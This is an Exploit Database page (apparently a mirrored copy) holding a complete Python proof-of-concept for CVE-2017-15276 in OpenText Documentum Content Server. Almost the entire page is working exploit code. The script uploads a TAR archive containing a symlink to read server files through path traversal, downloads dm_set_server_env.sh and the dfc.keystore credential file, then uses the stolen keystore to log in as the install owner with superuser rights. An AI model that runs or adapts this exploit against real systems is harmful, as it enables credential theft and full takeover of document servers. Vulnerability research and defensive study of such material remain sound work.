OpenText Documentum Content Server – Privilege Escalation

• Exploit Database
• 130 阅读

• 作者： Andrey B. Panfilov
  日期： 2017-10-17
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/43002/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244

  #!/usr/bin/env python   # Opentext Documentum Content Server (formerly known as EMC Documentum Content Server) # contains following design gap, which allows authenticated user to gain privileges # of superuser: # # Content Server allows to upload content using batches (TAR archives), when unpacking # TAR archives Content Server fails to verify contents of TAR archive which # causes path traversal vulnerability via symlinks, because some files on Content Server # filesystem are security-sensitive the security flaw described above leads to # privilege escalation # # The PoC below demonstrates this vulnerability: # # MacBook-Pro:~ $ python CVE-2017-15276.py # usage: # OTDocumentumTarVulnerability.py host port user password # MacBook-Pro:~ $ python CVE-2017-15276.py docu72dev01 10001 dm_bof_registry dm_bof_registry # Trying to connect to docu72dev01:10001 as dm_bof_registry ... # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377Linux64.Oracle # Downloading /u01/documentum/cs/product/7.2/bin/dm_set_server_env.sh # Creating malicious dmr_content object # Trying to find any object with content... # Downloading /u01/documentum/cs/shared/config/dfc.keystore # Creating malicious dmr_content object # Trying to find any object with content... # Trying to connect to docu72dev01:10001 as dmadmin ... # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377Linux64.Oracle # P0wned!     import io import socket import sys import tarfile   from dctmpy import NULL_ID   from dctmpy.docbaseclient import DocbaseClient from dctmpy.identity import Identity from dctmpy.obj.typedobject import TypedObject   CIPHERS = "ALL:aNULL:!eNULL"     def usage(): print "usage:\n%s host port user password" % sys.argv[0]     def main(): if len(sys.argv) != 5: usage() exit(1)   (session, docbase) = create_session(*sys.argv[1:5])   if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1)   admin_console = session.get_by_qualification( "dm_method where object_name=&apos;dm_JMSAdminConsole&apos;") env_script = admin_console[&apos;method_verb&apos;] env_script = env_script.replace(&apos;dm_jms_admin.sh&apos;, &apos;dm_set_server_env.sh&apos;)   keystore_path = None script = str(download(session, env_script, bytearray())) if not script: print "Unable to download dm_set_server_env.sh" exit(1)   for l in script.splitlines(): if not l.startswith("DOCUMENTUM_SHARED"): continue keystore_path = l.split(&apos;=&apos;)[1] break   if not keystore_path: print "Unable to determine DOCUMENTUM_SHARED" exit(1)   keystore_path += "/config/dfc.keystore" keystore = str(download(session, keystore_path, bytearray()))   if not keystore: print "Unable to download dfc.keystore" exit(1)   (session, docbase) = create_session( sys.argv[1], sys.argv[2], session.serverconfig[&apos;r_install_owner&apos;], "", identity=Identity(trusted=True, keystore=keystore)) if is_super_user(session): print "P0wned!"     def download(session, path, buf): print "Downloading %s" % path   store = session.get_by_qualification("dm_store") format = session.get_by_qualification("dm_format where name=&apos;crtext&apos;")   print "Creating malicious dmr_content object"   session.apply(None, NULL_ID, "BEGIN_TRANS")   handle = session.make_pusher(store[&apos;r_object_id&apos;]) if handle < 1: print "Unable to create pusher" end_tran(session, False) exit(1)   (bytes, length) = create_tar("test", path) b = bytearray() b.extend(bytes.read())   print "Trying to find any object with content..." object_id = session.query( "SELECT FOR READ r_object_id " "FROM dm_sysobject WHERE r_content_size>0") \ .next_record()[&apos;r_object_id&apos;]   content_id = session.next_id(0x06)   if not session.start_push(handle, content_id, format[&apos;r_object_id&apos;], len(b)): print "Failed to start push" end_tran(session, False) exit(1)   session.upload(handle, b) data_ticket = session.end_push_v2(handle)[&apos;DATA_TICKET&apos;]   content = TypedObject(session=session) content.set_string("OBJECT_TYPE", "dmr_content") content.set_bool("IS_NEW_OBJECT", True) content.set_id("storage_id", store[&apos;r_object_id&apos;]) content.set_id("format", format[&apos;r_object_id&apos;]) content.set_int("data_ticket", data_ticket) content.set_int("page", 0) content.set_string("page_modifier", "dm_batch") content.set_string("full_format", format[&apos;name&apos;]) content.set_int("content_size", len(b)) content.set_bool("BATCH_FLAG", True) content.set_bool("IS_ADDRENDITION", True) content.set_id("parent_id", object_id) if not session.save_cont_attrs(content_id, content): print "Failed to create content" end_tran(session, False) exit(1)   content = session.get_by_qualification( "dmr_content WHERE any (parent_id=&apos;%s&apos; " "AND page_modifier=&apos;%s&apos;)" % (object_id, "vuln"))   handle = session.make_puller( NULL_ID, store.object_id(), content[&apos;r_object_id&apos;], format.object_id(), data_ticket )   if handle == 0: end_tran(session, False) raise RuntimeError("Unable make puller")   for chunk in session.download(handle): buf.extend(chunk)   end_tran(session, False) return buf     def create_tar(linkname, linkpath): bytes = io.BytesIO() tar = tarfile.TarFile(fileobj=bytes, mode="w", format=tarfile.GNU_FORMAT) add_link(tar, linkname, linkpath) text = io.BytesIO() text.write("file_name=&apos;%s&apos;\n" % linkname) text.write("page_modifier=&apos;vuln&apos;\n") text.write("parameters=&apos;&apos;\n") tarinfo = tarfile.TarInfo("property.txt") tarinfo.size = text.tell() text.seek(0) tar.addfile(tarinfo, text) tar.close() length = bytes.tell() bytes.seek(0) return (bytes, length)     def add_link(tar, linkname, linkpath): tarinfo = tarfile.TarInfo(linkname) tarinfo.type = tarfile.SYMTYPE tarinfo.linkpath = linkpath tarinfo.name = linkname tar.addfile(tarinfo=tarinfo)     def create_session(host, port, user, pwd, identity=None): print "Trying to connect to %s:%s as %s ..." % \ (host, port, user) session = None try: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd, identity=identity) except socket.error, e: if e.errno == 54: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd, identity=identity, secure=True, ciphers=CIPHERS) else: raise e docbase = session.docbaseconfig[&apos;object_name&apos;] version = session.serverconfig[&apos;r_server_version&apos;] print "Connected to %s:%s, docbase: %s, version: %s" % \ (host, port, docbase, version) return (session, docbase)     def is_super_user(session): user = session.get_by_qualification("dm_user WHERE user_name=USER") if user[&apos;user_privileges&apos;] == 16: return True group = session.get_by_qualification( "dm_group where group_name=&apos;dm_superusers&apos; " "AND any i_all_users_names=USER") if group is not None: return True   return False     def end_tran(session, commit=False): obj = TypedObject(session=session) obj.set_bool("COMMIT", commit) session.apply(None, NULL_ID, "END_TRANS", obj)     if __name__ == &apos;__main__&apos;: main()